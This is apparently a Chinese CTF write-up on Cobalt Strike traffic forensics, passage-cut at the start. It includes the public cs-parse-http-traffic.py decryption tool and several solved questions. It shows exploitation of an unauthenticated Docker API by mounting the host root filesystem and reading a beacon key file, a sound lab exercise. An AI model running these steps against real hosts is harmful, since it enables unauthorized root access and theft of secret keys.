14: 'PIPES_REGISTER', # unsure?
15: 'BEACON_IMPERSONATED',
16: 'BEACON_GETUID',
17: 'BEACON_OUTPUT_PS',
18: 'ERROR_CLOCK_SKEW',
19: 'BEACON_GETCWD',
20: 'BEACON_OUTPUT_JOBS',
21: 'BEACON_OUTPUT_HASHES',
22: 'TODO', # find out
23: 'SOCKS_ACCEPT',
24: 'BEACON_OUTPUT_NET',
25: 'BEACON_OUTPUT_PORTSCAN',
26: 'BEACON_EXIT',
}

verctor_command = {
'COMMAND_SPAWN' : 1,
'COMMAND_SHELL' : 2,
'COMMAND_DIE' : 3,
'COMMAND_SLEEP' : 4,
'COMMAND_CD' : 5,
# 'COMMAND_KEYLOG_START' : 6,
'COMMAND_KEYLOG_STOP' : 7,
'COMMAND_CHECKIN': 8,
'COMMAND_INJECT_PID' : 9,
'COMMAND_UPLOAD' : 10,
'COMMAND_DOWNLOAD': 11,
'COMMAND_EXECUTE': 12,
'COMMAND_SPAWN_PROC_X86' : 13,
'COMMAND_PROXYLISTENER_CONNECTMESSAGE' : 14,
'COMMAND_PROXYLISTENER_WRITEMESSAGE' : 15,
'COMMAND_PROXYLISTENER_CLOSEMESSAGE' : 16,
'COMMAND_PROXYLISTENER_LISTENMESSAGE' : 17,
'COMMAND_INJECT_PING' : 18,
'COMMAND_DOWNLOAD_CANCEL': 19,
'COMMAND_FORWARD_PIPE_DATA': 22,
'COMMAND_UNLINK': 23,
'COMMAND_PIPE_PONG': 24,
'COMMAND_GET_SYSTEM': 25,
'COMMAND_GETUID': 27,
'COMMAND_REV2SELF': 28,
'COMMAND_TIMESTOMP': 29,
'COMMAND_STEALTOKEN': 31,
'COMMAND_PS': 32,
'COMMAND_KILL': 33,
'COMMAND_KerberosTicketUse': 34,
'COMMAND_Kerberos_Ticket_Purge': 35,
'COMMAND_POWERSHELL_IMPORT': 37,
'COMMAND_RUNAS': 38,
'COMMAND_PWD': 39,
'COMMAND_JOB_REGISTER' : 40,
'COMMAND_JOBS': 41,
'COMMAND_JOB_KILL': 42,
'COMMAND_INJECTX64_PID' : 43,
'COMMAND_SPAWNX64' : 44,
'COMMAND_VNC_INJECT': 45,
'COMMAND_VNC_INJECT_X64': 46,
'COMMAND_PAUSE': 47,
'COMMAND_IPCONFIG': 48,
'COMMAND_MAKE_TOKEN': 49,
'COMMAND_PORT_FORWARD': 50,
'COMMAND_PORT_FORWARD_STOP': 51,
'COMMAND_BIND_STAGE': 52,
'COMMAND_LS': 53,
'COMMAND_MKDIR': 54,
'COMMAND_DRIVERS': 55,
'COMMAND_RM': 56,
'COMMAND_STAGE_REMOTE_SMB': 57,
'COMMAND_START_SERVICE': 58, # not sure
'COMMAND_HTTPHOSTSTRING': 59,
'COMMAND_OPEN_PIPE': 60,
'COMMAND_CLOSE_PIPE': 61,
'COMMAND_JOB_REGISTER_IMPERSONATE' : 62,
'COMMAND_SPAWN_POWERSHELLX86' : 63,
'COMMAND_SPAWN_POWERSHELLX64' : 64,
'COMMAND_INJECT_POWERSHELLX86_PID' : 65,
'COMMAND_INJECT_POWERSHELLX64_PID' : 66,
'COMMAND_UPLOAD_CONTINUE' : 67,
'COMMAND_PIPE_OPEN_EXPLICIT' : 68,
'COMMAND_SPAWN_PROC_X64' : 69,
'COMMAND_JOB_SPAWN_X86' : 70,
'COMMAND_JOB_SPAWN_X64' : 71,
'COMMAND_SETENV' : 72,
'COMMAND_FILE_COPY' : 73,
'COMMAND_FILE_MOVE' : 74,
'COMMAND_PPID' : 75,
'COMMAND_RUN_UNDER_PID' : 76,
'COMMAND_GETPRIVS' : 77,
'COMMAND_EXECUTE_JOB' : 78,
'COMMAND_PSH_HOST_TCP' : 79,
'COMMAND_DLL_LOAD' : 80,
'COMMAND_REG_QUERY' : 81,
'COMMAND_LSOCKET_TCPPIVOT' : 82,
'COMMAND_ARGUE_ADD' : 83,
'COMMAND_ARGUE_REMOVE' : 84,
'COMMAND_ARGUE_LIST' : 85,
'COMMAND_TCP_CONNECT' : 86,
'COMMAND_JOB_SPAWN_TOKEN_X86' : 87,
'COMMAND_JOB_SPAWN_TOKEN_X64' : 88,
'COMMAND_SPAWN_TOKEN_X86' : 89,
'COMMAND_SPAWN_TOKEN_X64' : 90,
'COMMAND_INJECTX64_PING' : 91,
'COMMAND_BLOCKDLLS' : 92,
'COMMAND_SPAWNAS_X86' : 93,
'COMMAND_SPAWNAS_X64' : 94,
'COMMAND_INLINE_EXECUTE' : 95,
'COMMAND_RUN_INJECT_X86' : 96,
'COMMAND_RUN_INJECT_X64' : 97,
'COMMAND_SPAWNU_X86' : 98,
'COMMAND_SPAWNU_X64' : 99,
'COMMAND_INLINE_EXECUTE_OBJECT' : 100,
'COMMAND_JOB_REGISTER_MSGMODE' : 101,
'COMMAND_LSOCKET_BIND_LOCALHOST' : 102,
}

verctor_result = {
'CALLBACK_OUTPUT' : 0,
'CALLBACK_KEYSTROKES' : 1,
'CALLBACK_FILE' : 2,
'CALLBACK_SCREENSHOT' : 3,
'CALLBACK_CLOSE' : 4,
'CALLBACK_READ' : 5,
'CALLBACK_CONNECT' : 6,
'CALLBACK_PING' : 7,
'CALLBACK_FILE_WRITE' : 8,
'CALLBACK_FILE_CLOSE' : 9,
'CALLBACK_PIPE_OPEN' : 10,
'CALLBACK_PIPE_CLOSE' : 11,
'CALLBACK_PIPE_READ' : 12,
'CALLBACK_POST_ERROR' : 13,
'CALLBACK_PIPE_PING' : 14,
'CALLBACK_TOKEN_STOLEN' : 15,
'CALLBACK_TOKEN_GETUID' : 16,
'CALLBACK_PROCESS_LIST' : 17,
'CALLBACK_POST_REPLAY_ERROR' : 18,
'CALLBACK_PWD' : 19,
'CALLBACK_JOBS' : 20,
'CALLBACK_HASHDUMP' : 21,
'CALLBACK_PENDING' : 22,
'CALLBACK_ACCEPT' : 23,
'CALLBACK_NETVIEW' : 24,
'CALLBACK_PORTSCAN' : 25,
'CALLBACK_DEAD' : 26,
'CALLBACK_SSH_STATUS' : 27,
'CALLBACK_CHUNK_ALLOCATE' : 28,
'CALLBACK_CHUNK_SEND' : 29,
'CALLBACK_OUTPUT_OEM' : 30,
'CALLBACK_ERROR' : 31,
'CALLBACK_OUTPUT_UTF8' : 32
}

def __init__(self, rawkey, hmacaeskeys, hexadecimal, postdataIsMultipartFormat, transform, extract, oOutput):
self.rawkey = rawkey
self.hmacaeskeys = hmacaeskeys
self.hexadecimal = hexadecimal
self.postdataIsMultipartFormat = postdataIsMultipartFormat
self.transform = transform
self.extract = extract
self.oOutput = oOutput
self.dCommandsSummary = {}
self.dCallbacksSummary = {}

if rawkey == '':
self.oCrypto = cCrypto(hmacaeskeys=hmacaeskeys)
else:
self.oCrypto = cCrypto(rawkey=rawkey)

for key, value in __class__.verctor_command.items():
__class__.BEACON_COMMANDS[value] = key
for key, value in __class__.verctor_result.items():
__class__.BEACON_OUTPUT[value] = key

@staticmethod
def FormatTime(epoch=None):
if epoch == None:
epoch = time.time()
return '%04d%02d%02d-%02d%02d%02d' % time.gmtime(epoch)[0:6]

def LookupCommand(self, commandID):
return self.BEACON_COMMANDS.get(commandID, 'UNKNOWN')

def LookupCallback(self, callbackID):
return self.BEACON_OUTPUT.get(callbackID, 'UNKNOWN')

def ExtractPayload(self, data):
if self.extract:
with open('payload-%s.vir' % hashlib.md5(data).hexdigest(), 'wb') as fWrite:
fWrite.write(data)

def ProcessPostPacketDataSub(self, data):
try:
oStructData = cStruct(self.oCrypto.Decrypt(data))
except Exception as e:
if e.args != ('HMAC signature invalid',):
raise
self.oOutput.Line('HMAC signature invalid')
self.oOutput.Line('')
return
counter = oStructData.Unpack('>I')
self.oOutput.Line('Counter: %d' % counter)
oStructCallbackdata = cStruct(oStructData.GetString('>I'))
callback = oStructCallbackdata.Unpack('>I')
callbackdata = oStructCallbackdata.GetBytes()
oStructCallbackdataToParse = cStruct(callbackdata)
self.oOutput.Line('Callback: %d %s' % (callback, self.LookupCallback(callback)))
self.dCallbacksSummary[callback] = self.dCallbacksSummary.get(callback, 0) + 1
if callback in [0, 25]:
self.oOutput.Line('-' * 100)
try:
self.oOutput.Line((callbackdata))
except:
self.oOutput.Line(base64.b64encode(callbackdata))
self.oOutput.Line('-' * 100)
elif callback == 22:
self.oOutput.Line(repr(callbackdata[:4]))
self.oOutput.Line('-' * 100)
self.oOutput.Line(callbackdata[4:].decode('latin'))
self.oOutput.Line('-' * 100)
elif callback == 2:
parameter1, length = oStructCallbackdataToParse.Unpack('>II')
filenameDownload = oStructCallbackdataToParse.GetBytes()
self.oOutput.Line(' parameter1: %d' % parameter1)
self.oOutput.Line(' length: %d' % length)
try :
self.oOutput.Line(' filenameDownload: %s' %(filenameDownload))
except:
self.oOutput.Line(' filenameDownload: %s' %base64.b64encode(filenameDownload))
elif callback in [17, 30, 32]:
try:
self.oOutput.Line((callbackdata))
except:
self.oOutput.Line(base64.b64encode(callbackdata))
elif callback in [3, 8]:
self.oOutput.Line(' Length: %d' % len(callbackdata[4:]))
self.oOutput.Line(' MD5: ' + hashlib.md5(callbackdata[4:]).hexdigest())
self.ExtractPayload(callbackdata[4:])
else:
self.oOutput.Line(repr(callbackdata))
extradata = oStructData.GetBytes()[:-16] # drop hmac
if len(extradata) > 0:
self.oOutput.Line('Extra packet data: %s' % repr(extradata))

self.oOutput.Line('')

def ProcessPostPacketData(self, hexdata):
if self.hexadecimal:
rawdata = binascii.a2b_hex(hexdata)
else:
rawdata = hexdata
self.oOutput.Line('Length raw data: %s' % len(rawdata))
rawdata = cCSInstructions(cCSInstructions.CS_INSTRUCTION_TYPE_OUTPUT, self.transform).ProcessInstructions(rawdata)
if rawdata == b'':
self.oOutput.Line('No data')
self.oOutput.Line('')
return
if self.rawkey == 'unknown' or self.hmacaeskeys == 'unknown':
self.oOutput.Line(binascii.b2a_hex(rawdata).decode())
self.oOutput.Line('')
return
if self.postdataIsMultipartFormat:
oStructData = cStruct(rawdata)
while oStructData.Length() > 0:
self.ProcessPostPacketDataSub(oStructData.GetString('>I'))
else:
self.ProcessPostPacketDataSub(rawdata)

def ProcessReplyPacketData(self, hexdata):
if self.hexadecimal:
rawdata = binascii.a2b_hex(hexdata)
else:
rawdata = hexdata
self.oOutput.Line('Length raw data: %s' % len(rawdata))
rawdata = cCSInstructions(cCSInstructions.CS_INSTRUCTION_TYPE_INPUT, self.transform).ProcessInstructions(rawdata)
if rawdata == b'':
self.oOutput.Line('No data')
self.oOutput.Line('')
return
if self.rawkey == 'unknown' or self.hmacaeskeys == 'unknown':
self.oOutput.Line(binascii.b2a_hex(rawdata).decode())
self.oOutput.Line('')
return
try:
data = self.oCrypto.Decrypt(rawdata)
except Exception as e:
if e.args != ('HMAC signature invalid',):
raise
self.oOutput.Line('HMAC signature invalid')
self.oOutput.Line('')
return
if data == b'':
self.oOutput.Line('No data')
elif data.startswith(b'MZ'):
self.oOutput.Line('MZ payload detected')
self.oOutput.Line(' MD5: ' + hashlib.md5(data).hexdigest())
self.ExtractPayload(data)
else:
oStructData = cStruct(data)
timestamp, datasize = oStructData.Unpack('>II')
self.oOutput.Line('Timestamp: %d %s' % (timestamp, self.FormatTime(timestamp)))
self.oOutput.Line('Data size: %d' % datasize)
oStructData.Truncate(datasize)
while oStructData.Length() > 0:
command, argslen = oStructData.Unpack('>II')
self.dCommandsSummary[command] = self.dCommandsSummary.get(command, 0) + 1
self.oOutput.Line('Command: %d %s' % (command, self.LookupCommand(command)))
if command == __class__.BEACON_COMMAND_SLEEP:
sleep, jitter = oStructData.Unpack('>II')
self.oOutput.Line(' Sleep: %d' % sleep)
self.oOutput.Line(' Jitter: %d' % jitter)
elif command == __class__.BEACON_COMMAND_DATA_JITTER:
self.oOutput.Line(' Length random data = %d' % argslen)
payload = oStructData.GetBytes(argslen)
elif command == __class__.BEACON_COMMAND_RUN:
self.oOutput.Line(' Command: %s' % oStructData.GetString('>I'))
self.oOutput.Line(' Arguments: %s' % oStructData.GetString('>I'))
self.oOutput.Line(' Integer: %d' % oStructData.Unpack('>H'))
else:
self.oOutput.Line(' Arguments length: %d' % argslen)
if argslen > 0:
if command in [40, 62]:
oStructCommand = cStruct(oStructData.GetBytes(argslen))
self.oOutput.Line(' Unknown1: %d' % oStructCommand.Unpack('>I'))
self.oOutput.Line(' Unknown2: %d' % oStructCommand.Unpack('>I'))
self.oOutput.Line(' Pipename: %s' % oStructCommand.GetString('>I'))
self.oOutput.Line(' Command: %s' % oStructCommand.GetString('>I'))
self.oOutput.Line(' ' + repr(oStructCommand.GetBytes()))
else:
payload = oStructData.GetBytes(argslen)
self.oOutput.Line(' ' + repr(payload[:argslen])[:100])
self.oOutput.Line(' MD5: ' + hashlib.md5(payload).hexdigest())
self.ExtractPayload(payload)

self.oOutput.Line('')

def AnalyzeCaptureHTTP(filename, options):
oOutput = InstantiateCOutput(options)
oCSParser = cCSParser(options.rawkey, options.hmacaeskeys, True, True, options.transform, options.extract, oOutput)
dMethods = {}

capture = pyshark.FileCapture(filename, display_filter=options.displayfilter, use_json=True, include_raw=True)
for packet in capture:
if not hasattr(packet, 'http'):
continue

if hasattr(packet.http, 'request') and packet.http.has_field('1\\r\\n'): # this is a bug in PyShark, should be fieldname request
dMethods[packet.number] = packet.http.get_field('1\\r\\n').method

data_raw = None
if hasattr(packet.http, 'file_data_raw'):
data_raw = packet.http.file_data_raw
elif hasattr(packet.http, 'content-encoded_entity_body_(gzip)'):
data_raw = getattr(packet.http, 'content-encoded_entity_body_(gzip)').data.data_raw
else:
continue

if hasattr(packet.http, 'response'):
oOutput.Line('Packet number: %d' % packet.number)
if hasattr(packet.http, 'request_in') and len(packet.http.request_in.fields) > 0:
requestPacket = packet.http.request_in.fields[0].int_value
oOutput.Line('HTTP response (for request %d %s)' % (requestPacket, dMethods.get(requestPacket, '')))
else:
oOutput.Line('HTTP response')
try:
oCSParser.ProcessReplyPacketData(data_raw[0])
except Exception as e:
oOutput.Line('* An error occured1')
oOutput.Line(e)

if hasattr(packet.http, 'request'):
oOutput.Line('Packet number: %d' % packet.number)
oOutput.Line('HTTP request %s' % dMethods.get(packet.number, ''))
if hasattr(packet.http, 'request_full_uri'):
oOutput.Line(packet.http.request_full_uri)
elif hasattr(packet.http, 'full_uri'):
oOutput.Line(packet.http.full_uri)
else:
oOutput.Line("No URI field found")
try:
oCSParser.ProcessPostPacketData(data_raw[0])
except Exception as e:
oOutput.Line('* An error occured1')
oOutput.Line(e)

capture.close()

if len(oCSParser.dCommandsSummary) > 0:
oOutput.Line('Commands summary:')
for command, counter in sorted(oCSParser.dCommandsSummary.items()):
oOutput.Line(' %d %s: %d' % (command, oCSParser.LookupCommand(command), counter))

oOutput.Line('')

if len(oCSParser.dCallbacksSummary) > 0:
oOutput.Line('Callbacks summary:')
for callback, counter in sorted(oCSParser.dCallbacksSummary.items()):
oOutput.Line(' %d %s: %d' % (callback, oCSParser.LookupCallback(callback), counter))

def IsNumber(data):
for a in data:
if not a in '0123456789':
return False
return True

def IsHexNumber(data):
for a in data.lower():
if not a in '0123456789abcdef':
return False
return True

def StartsWithGetRemainder(strIn, strStart):
if strIn.startswith(strStart):
return True, strIn[len(strStart):]
else:
return False, None

def EndsWithGetRemainder(strIn, strEnd):
if strIn.endswith(strEnd):
return True, strIn[:-len(strEnd)]
else:
return False, None

def IPv4ToHex(ipv4):
return ''.join(['%02x' % int(number) for number in ipv4.split('.')])

class cParts(object):
def __init__(self, dnsidle=''):
if dnsidle == '':
self.dnsidle = 0
else:
self.dnsidle = int(IPv4ToHex(dnsidle), 16)
self.Init()

def Init(self):
self.dParts = {}
self.size = None
self.identifier = None

def Add(self, counter, value):
if counter.startswith('0'):
self.identifier = counter[1:]
self.size = int(self.Convert1(value), 16) ^ self.dnsidle
self.dParts = {}
elif self.identifier == None:
self.Init()
elif counter.endswith(self.identifier):
self.dParts[int(counter, 16)] = value

def Assemble(self):
if self.identifier == None:
return None
numbers = sorted(self.dParts.keys())
data = ''
for number in numbers:
data += ''.join(self.Convert2(self.dParts[number]))
data = self.Convert3(data)
if len(data) == self.size * 2:
return data
else:
return None

class cPartsIPv4(cParts):
@staticmethod
def Convert1(data):
return IPv4ToHex(data)

@staticmethod
def Convert2(data):
return IPv4ToHex(data)

@staticmethod
def Convert3(data):
return data

def IPv6ToHex(ipv6):
return ipaddress.ip_address(ipv6).exploded.replace(':', '')

class cPartsIPv6(cParts):
@staticmethod
def Convert1(data):
return IPv4ToHex(data)

@staticmethod
def Convert2(data):
return IPv6ToHex(data)

@staticmethod
def Convert3(data):
return data

class cPartsTXT(cParts):
@staticmethod
def Convert1(data):
return IPv4ToHex(data)

@staticmethod
def Convert2(data):
return data

@staticmethod
def Convert3(data):
try:
decoded = binascii.a2b_base64(data)
except binascii.Error:
return ''
return binascii.b2a_hex(decoded).decode()

class cPartsLabels(cParts):
@staticmethod
def Convert1(data):
return data[0][1:]

@staticmethod
def Convert2(data):
return ''.join(data)[1:]

@staticmethod
def Convert3(data):
return data

def CheckForBeacon(labels, dBeacons):
for position, label in enumerate(labels):
if label in dBeacons:
return labels[:position]
return None

def AnalyzeCaptureDNS(filename, options):
oOutput = InstantiateCOutput(options)
oCSParser = cCSParser(options.rawkey, options.hmacaeskeys, True, False, '', options.extract, oOutput)

dBeacons = {}
oPartsLabels = cPartsLabels()
oPartsIPv4 = cPartsIPv4(options.dnsidle)
oPartsIPv6 = cPartsIPv6(options.dnsidle)
oPartsTXT = cPartsTXT(options.dnsidle)
dPings = {}

if options.beaconid != '':
dBeacons[options.beaconid.lower()] = 'option'
capture = pyshark.FileCapture(filename, display_filter=options.displayfilter, use_json=True)
for packet in capture:
if not hasattr(packet, 'dns'):
continue

if not hasattr(packet.dns, 'flags'):
continue

linePacket = 'Packet: %s %d' % (packet.sniff_time, packet.number)
if int(packet.dns.flags, 16) & 0x8000 == 0x0000:
if hasattr(packet.dns, 'Queries'):
name = ''
for shortname in packet.dns.Queries.field_names:
fullname = packet.dns.Queries.get_field(shortname).name
if len(fullname) > len(name):
name = fullname
labels = name.split('.')
if IsHexNumber(labels[0]) and int(labels[0], 16) & 0x4B2 == 0x4B2:
oOutput.Line(linePacket)
oOutput.Line('packet.dns.flags: %x' % int(packet.dns.flags, 16))
print('Beacon V4 ping found: %s' % name)
dBeacons[labels[0]] = 'V4'
dPings[packet.number] = True
elif IsNumber(labels[0]):
oOutput.Line(linePacket)
oOutput.Line('packet.dns.flags: %x' % int(packet.dns.flags, 16))
print('Beacon V3 ping found: %s' % name)
dBeacons[labels[0]] = 'V3'
else:
csquery = CheckForBeacon(labels, dBeacons)
if csquery != None:
if csquery == []:
pass
elif csquery[0] == 'www':
oOutput.Line(linePacket)
print('Beacon checkin: %s' % name)
oPartsLabels.Add(csquery[-1], csquery[1:-1])
encryptedMetadata = oPartsLabels.Assemble()
if encryptedMetadata != None:
print('encryptedMetadata: ' + encryptedMetadata)
print('encryptedMetadata BASE64: ' + binascii.b2a_base64(binascii.a2b_hex(encryptedMetadata)).decode())
elif csquery[0] in ['cdn', 'api']:
oOutput.Line(linePacket)
print('Beacon GET: %s' % name)
elif csquery[0] == 'post':
oOutput.Line(linePacket)
print('Beacon POST: %s' % name)
oPartsLabels.Add(csquery[-1], csquery[1:-1])
postData = oPartsLabels.Assemble()
if postData != None:
print('-' * 100)
print('postData: ' + postData)
oCSParser.ProcessPostPacketData(postData)
print('-' * 100)
print('')

if int(packet.dns.flags, 16) & 0x8000 == 0x8000:
if hasattr(packet.dns, 'Answers'):
for name in packet.dns.Answers.field_names:
labels = name.split('.')
csquery = CheckForBeacon(labels, dBeacons)
if csquery != None:
if csquery == []:
if hasattr(packet.dns, 'response_to') and packet.dns.response_to.fields[0].int_value in dPings:
if hasattr(packet.dns.Answers.get_field(name), 'a'):
if options.dnsidle == '':
xormask = 0
else:
xormask = int(IPv4ToHex(options.dnsidle), 16)
intIPv4 = int(IPv4ToHex(packet.dns.Answers.get_field(name).a), 16) ^ xormask
if intIPv4 >= 240 and intIPv4 <= 255:
oOutput.Line(linePacket)
print('Reply to beacon V4 ping found: %d' % intIPv4)
if intIPv4 & 1 == 1:
print('Checkin requested')
if intIPv4 & 0x0E == 0:
print('mode dns')
if intIPv4 & 0x0E == 2:
print('mode dns-txt')
if intIPv4 & 0x0E == 4:
print('mode dns6')
print('')
elif labels[0] == 'cdn':
oOutput.Line(linePacket)
oPartsIPv4.Add(csquery[-1], packet.dns.Answers.get_field(name).a)
print(packet.dns.Answers.get_field(name).name)
print(packet.dns.Answers.get_field(name).a)
replyData = oPartsIPv4.Assemble()
if replyData != None:
print('-' * 100)
print('replyData: ' + replyData)
oCSParser.ProcessReplyPacketData(replyData)
print('-' * 100)
print('')
elif labels[0] == 'api':
oOutput.Line(linePacket)
if hasattr(packet.dns.Answers.get_field(name), 'a'):
oPartsTXT.Add(csquery[-1], packet.dns.Answers.get_field(name).a)
print(packet.dns.Answers.get_field(name).a)
elif hasattr(packet.dns.Answers.get_field(name), 'txt'):
print('TXT record content: %s' % packet.dns.Answers.get_field(name).txt)
oPartsTXT.Add(csquery[-1], packet.dns.Answers.get_field(name).txt)
replyData = oPartsTXT.Assemble()
if replyData != None:
print('-' * 100)
print('replyData: ' + replyData)
oCSParser.ProcessReplyPacketData(replyData)
print('-' * 100)
elif labels[0] == 'www6':
oOutput.Line(linePacket)
if hasattr(packet.dns.Answers.get_field(name), 'a'):
oPartsIPv6.Add(csquery[-1], packet.dns.Answers.get_field(name).a)
print(packet.dns.Answers.get_field(name).a)
elif hasattr(packet.dns.Answers.get_field(name), 'aaaa'):
oPartsIPv6.Add(csquery[-1], packet.dns.Answers.get_field(name).aaaa)
replyData = oPartsIPv6.Assemble()
if replyData != None:
print('-' * 100)
print('replyData: ' + replyData)
oCSParser.ProcessReplyPacketData(replyData)
print('-' * 100)

capture.close()

if len(oCSParser.dCommandsSummary) > 0:
oOutput.Line('Commands summary:')
for command, counter in sorted(oCSParser.dCommandsSummary.items()):
oOutput.Line(' %d %s: %d' % (command, oCSParser.LookupCommand(command), counter))

oOutput.Line('')

if len(oCSParser.dCallbacksSummary) > 0:
oOutput.Line('Callbacks summary:')
for callback, counter in sorted(oCSParser.dCallbacksSummary.items()):
oOutput.Line(' %d %s: %d' % (callback, oCSParser.LookupCallback(callback), counter))

def AnalyzeCaptureCallback(hexdata, options):
oOutput = InstantiateCOutput(options)
oCSParser = cCSParser(options.rawkey, options.hmacaeskeys, True, True, '', options.extract, oOutput)
oCSParser.ProcessPostPacketData(hexdata)

def AnalyzeCaptureCallbackSingle(hexdata, options):
oOutput = InstantiateCOutput(options)
oCSParser = cCSParser(options.rawkey, options.hmacaeskeys, True, False, '', options.extract, oOutput)
oCSParser.ProcessPostPacketData(hexdata)

def AnalyzeCaptureTask(hexdata, options):
oOutput = InstantiateCOutput(options)
oCSParser = cCSParser(options.rawkey, options.hmacaeskeys, True, False, '', options.extract, oOutput)
oCSParser.ProcessReplyPacketData(hexdata)

def AnalyzeCapture(filename, options):
if options.displayfilter == '':
options.displayfilter = options.format

if options.format == 'http':
AnalyzeCaptureHTTP(filename, options)
elif options.format == 'dns':
AnalyzeCaptureDNS(filename, options)
elif options.format == 'callback':
AnalyzeCaptureCallback(filename, options)
elif options.format == 'callbacksingle':
AnalyzeCaptureCallbackSingle(filename, options)
elif options.format == 'task':
AnalyzeCaptureTask(filename, options)
else:
raise Exception('Unknown format: %s' % options.format)

def ProcessArguments(arguments, options):
for argument in arguments:
AnalyzeCapture(argument, options)

def Main():
moredesc = '''

Arguments:
@file: process each file listed in the text file specified
wildcards are supported

Source code put in the public domain by Didier Stevens, no Copyright
Use at your own risk
https://DidierStevens.com'''

oParser = optparse.OptionParser(usage='usage: %prog [options] [[@]file ...]\n' + __description__ + moredesc, version='%prog ' + __version__)
oParser.add_option('-m', '--man', action='store_true', default=False, help='Print manual')
oParser.add_option('-o', '--output', type=str, default='', help='Output to file (# supported)')
oParser.add_option('-f', '--format', type=str, default='http', help='Format: http/dns/task/callback/callbacksingle (default http)')
oParser.add_option('-e', '--extract', action='store_true', default=False, help='Extract payloads to disk')
oParser.add_option('-r', '--rawkey', type=str, default='', help="CS beacon's raw key")
oParser.add_option('-k', '--hmacaeskeys', type=str, default='', help="HMAC and AES keys in hexadecimal separated by :")
oParser.add_option('-Y', '--displayfilter', type=str, default='', help="Tshark display filter (default http/dns)")
oParser.add_option('-t', '--transform', type=str, default='', help='Transformation instructions')
oParser.add_option('-i', '--dnsidle', type=str, default='', help="DNS idle value")
oParser.add_option('-b', '--beaconid', type=str, default='', help="Beacond ID (hexadecimal)")
(options, args) = oParser.parse_args()

if options.man:
oParser.print_help()
PrintManual()
return

ProcessArguments(args, options)

if __name__ == '__main__':
Main()

通过cs-parse-http-traffic.py -r raw.key. -Y 流量包过滤出cs流量包 -e 文件对cs流量批量提取。

1
python3 cs-parse-http-traffic.py -r   a4553adf7a841e1dcf708afc912275ee    -Y 'http && !(http.host == "r4---sn-ni57rn7y.gvt1-cn.com")' -e  ./cs流量分析.pcapng  >1111.txt

CobaltStrike流量分析-解题记录

溯源反制

通过fscan扫描靶机,发现有poc-yaml-docker-api-unauthorized-rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
╰ ./fscan_mac -h  52.82.27.30

___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
52.82.27.30:2375 open
[*] alive ports len is: 1
start vulscan
[*] WebTitle http://52.82.27.30:2375 code:404 len:29 title:None
[+] PocScan http://52.82.27.30:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://52.82.27.30:2375 poc-yaml-go-pprof-leak
已完成 1/1
[*] 扫描结束,耗时: 10.63908723s

通过 poc-yaml-docker-api-unauthorized-rce 漏洞远程未授权访问docker ,在通过/mnt挂载提权:

1
2
3
4
5
$ docker -H tcp://52.82.27.30:2375 ps 
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
nginx latest 97662d24417b 2 months ago 192MB

$ docker -H tcp://52.82.27.30 run -it -v /:/mnt nginx /bin/bash

我们在root目录下发现了flag.txt ,并顺带找到.cobaltstrike.beacon_keys文件

1
2
3
4
5
root@4d8fa5ecd14a:/mnt# cat    ./root/flag.txt 
flag{6750ac374fdc3038a67e95e1f21d455c}
root@4d8fa5ecd14a:/mnt# find . -name .cobaltstrike.beacon_keys
./opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/.cobaltstrike.beacon_keys
root@4d8fa5ecd14a:/mnt# cat ./opt/Cobalt_Strike_4.5/Cobalt_Strike_4.5/.cobaltstrike.beacon_keys | base64

黑客攻击的上线时间

follow查询第一心跳包的回包时间

image-20250426234022326

发现时间为``Date: Wed, 12 Feb 2025 12:12:52 GMT`

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET /en_US/all.js HTTP/1.1
Accept: */*
Cookie: IyltNSnpj6lSGi0WGIaJIsFWg6Ko6V+20xExzajz0A3AkRi2MMWjLSZvHltXLFJg5joFEKQ8lQYKh96XCYfDMO3yWWCzyZdpoCLdWRNzR8FN3Z3buww8afGOhKe+NVEWFzTPafNZh3kFlWUf5zk/etCn8WPy4qg4BArMvbx/yqM=
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MASP)
Host: 192.168.31.170
Connection: Keep-Alive
Cache-Control: no-cache


0.001836s
HTTP/1.1 200 OK
Date: Wed, 12 Feb 2025 12:12:52 GMT
Content-Type: application/octet-stream
Content-Length: 0

换算为大陆时间后答案为

1
flag{2025-02-12 20:12:52}

黑客使用的隧道payload名字是什么?

用 1768.py 分析stager Beacon文件(本题为FJwV)可以看到payload type 为windows-beacon_http-reverse_http.另外说下我们也会看到get-uri 为/en_US/all.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
python3 ./1768.py ./FJwV
File: ./FJwV
xorkey(chain): 0x1f6828ff
length: 0x040e00ad
xorkey b'.' 2e
0x0001 payload type 0x0001 0x0002 0 windows-beacon_http-reverse_http
0x0002 port 0x0001 0x0002 80
0x0003 sleeptime 0x0002 0x0004 60000
0x0004 maxgetsize 0x0002 0x0004 1048576
0x0005 jitter 0x0001 0x0002 0
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d003081890281810093b4127271907b80352c6a15b6bb1701bd01657a2fba3ca1fba56d9a13e9f1f3121ac3aa70248f8621217fddfc0a484e78ebf4e5b48bb4804eababe5366cf4886b6ce2a5a113edd851fc5b2fb62a925043354000bbae7f2f75d7b0b7097a17b7c7de195174d4b17cee1499ae1e52e3ce3eec3f70011d971d022c0a8723def11d020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 '192.168.31.170,/en_US/all.js'
0x0043 DNS_STRATEGY 0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1

因此flag为:flag{windows-beacon_http-reverse_http}

黑客获取到当前用户的明文密码是什么?

当我们通过第二节思路得到raw key后,同 cs-parse-http-traffic.py 解密如下解密流量包可以看到

1
python3 cs-parse-http-traffic.py -r   a4553adf7a841e1dcf708afc912275ee    -Y 'http && !(http.host == "r4---sn-ni57rn7y.gvt1-cn.com")' -e  ./cs流量分析.pcapng  >1111.txt

